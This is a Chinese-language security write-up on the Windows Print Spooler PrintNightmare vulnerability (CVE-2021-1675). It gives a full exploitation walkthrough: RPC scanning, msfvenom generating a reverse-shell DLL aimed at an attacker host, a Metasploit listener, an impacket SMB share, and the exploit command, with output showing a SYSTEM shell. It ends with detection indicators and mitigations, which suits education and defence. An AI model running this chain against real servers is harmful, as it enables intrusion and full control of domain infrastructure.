漏洞研究：通过 Windows Print Spooler 实现本地权限提升与 RCE（PrintNightmare / CVE-2021-1675）

该仓库包含一份详细的技术报告（Write-up）以及对 Windows 打印后台处理程序（Print Spooler）服务中关键漏洞的利用概念验证分析，该漏洞允许低权限域用户以最高系统权限远程执行任意代码。

🛑 警告与免责声明： 本材料仅用于教育目的和合法的安全审计（渗透测试）。未经所有者事先书面同意，针对系统使用所述技术将受到法律追究。

📌 研究的现实意义与背景

PrintNightmare 系列漏洞对基于 Windows Server 和 Active Directory 的企业环境构成严重威胁。MS-RPRN（打印系统远程协议）和 MS-PAR（打印系统异步远程协议）RPC 接口中权限检查的架构性缺陷，使得攻击者可以合法地请求在远程服务器上安装打印机驱动程序。

主要危险在于，默认情况下打印后台处理程序服务（spoolsv.exe）在大多数服务器（包括域控制器（Domain Controllers））上都处于活动状态，并以最高权限 NT AUTHORITY\SYSTEM 的上下文中运行。攻陷一个低权限账户（例如通过网络钓鱼）即可使攻击者立即完全控制整个 Active Directory 基础设施。

🏗 研究架构与技术栈

目标： 通过打印 RPC 接口获取对远程 Windows 主机的控制权。
攻击向量： RPC 远程驱动加载 → DLL 注入 → SYSTEM 权限。
工具： impacket（rpcdump, smbserver）、msfvenom、Metasploit Framework、Python 漏洞利用脚本。

📈 实际利用过程

步骤 1. 侦察与凭证收集（Reconnaissance）

要实现远程代码执行（RCE）攻击向量，需要具备有效的、具有最小权限的域用户凭据（在本次研究条件中已提供）。

服务基础审计： 目标 Windows 机器上的 Print Spooler 服务（spoolsv.exe）处于活动状态，并以最高权限 SYSTEM 运行，这为通过加载不受信任的库在主机上实现本地权限提升（LPE）打开了直接途径。

步骤 2. 扫描 RPC 接口（Scanning）

在运行主漏洞利用程序之前，必须确认远程机器提供了易受攻击的打印协议并可进行网络交互。对目标系统的 RPC 接口进行探测：

impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'

受控终端输出：

Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]

阶段洞察： 目标主机成功返回了 [MS-RPRN] 和 [MS-PAR] 协议字符串。这 100% 确认该系统支持所需的远程打印接口，并且存在 PrintNightmare 攻击向量漏洞。

步骤 3. 准备载荷与基础设施（Weaponization）

1. 生成带有反向 Shell 的恶意 DLL：

创建针对 x64 架构的载荷，指定我们攻击机的 IP 地址用于反向网络连接：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll

2. 在 Metasploit 中启动后台监听器：

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"

3. 部署本地 SMB 共享：

目标 Windows 服务器需要有一条合法途径通过网络下载我们的 DLL 库，而无需借助第三方工具。从 /tmp 目录启动支持 SMBv2 协议的 SMB 服务器：

sudo impacket-smbserver tmp /tmp -smb2support

步骤 4. 漏洞利用与系统控制（Exploitation）

运行 Python 漏洞利用脚本，向其传递低权限域用户凭据以及我们本地 SMB 共享上恶意库的 UNC 路径：

python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'

成功会话捕获日志（Metasploit）：

[*] Started reverse TCP handler on <ATTACKER_IP>:4444 
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 微软公司（Microsoft Corporation）。保留所有权利。

C:\Windows\system32> whoami
nt authority\system

结果： 调用漏洞利用程序后，远程打印机服务成功从网络共享加载了恶意驱动程序。Metasploit 中打开了一个具有最高权限 NT AUTHORITY\SYSTEM 状态的 Meterpreter 会话。目标已被完全攻陷。

🔍 入侵指标与检测（Detection）

对于 Blue Team 专业人员而言，检测 PrintNightmare 的利用建立在审计 Windows 系统日志和监控异常进程活动的基础之上。

1. 监控 Windows 事件日志（Event Logs）

成功运行漏洞利用程序会在打印日志和系统日志中留下典型记录：

Event ID 808 (PrintService)： 记录打印机模块加载失败或异常加载。可查看所加载第三方 DLL 的名称（例如来自 C:\Windows\System32\spool\drivers\x64\3\ 路径）。
Event ID 7031 (System)： 打印后台处理程序服务（Print Spooler）因漏洞利用程序不稳定运行而突然被强制重启。

2. 进程行为（EDR / Sysmon）

异常子进程活动： 出现命令行进程（cmd.exe、powershell.exe）或数据收集工具，其父进程为打印后台处理程序系统进程 spoolsv.exe。在合法情况下，spoolsv.exe 绝不会生成命令外壳。
网络活动： spoolsv.exe 进程向外部 SMB 资源（端口 445）建立出站网络连接以下载驱动程序文件。

🛡 修复建议（Mitigation）

完全禁用服务（推荐）： 如果服务器不执行打印功能（尤其是在域控制器上），应完全禁用 Print Spooler 服务并将其设置为 Disabled 模式。
限制远程打印： 通过组策略（GPO）禁用远程打印功能：
- Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections（禁用）。
安装更新： 及时应用微软官方安全更新（KB），以修复打印子系统中远程代码执行漏洞。

🔗 有用的链接和资源

CVE 数据库： NIST NVD - CVE-2021-1675 | NIST NVD - CVE-2021-34527
分析文章： Microsoft Security Update Advisory

最受欢迎

CVE-2021-1675-PrintNightmare-Analysis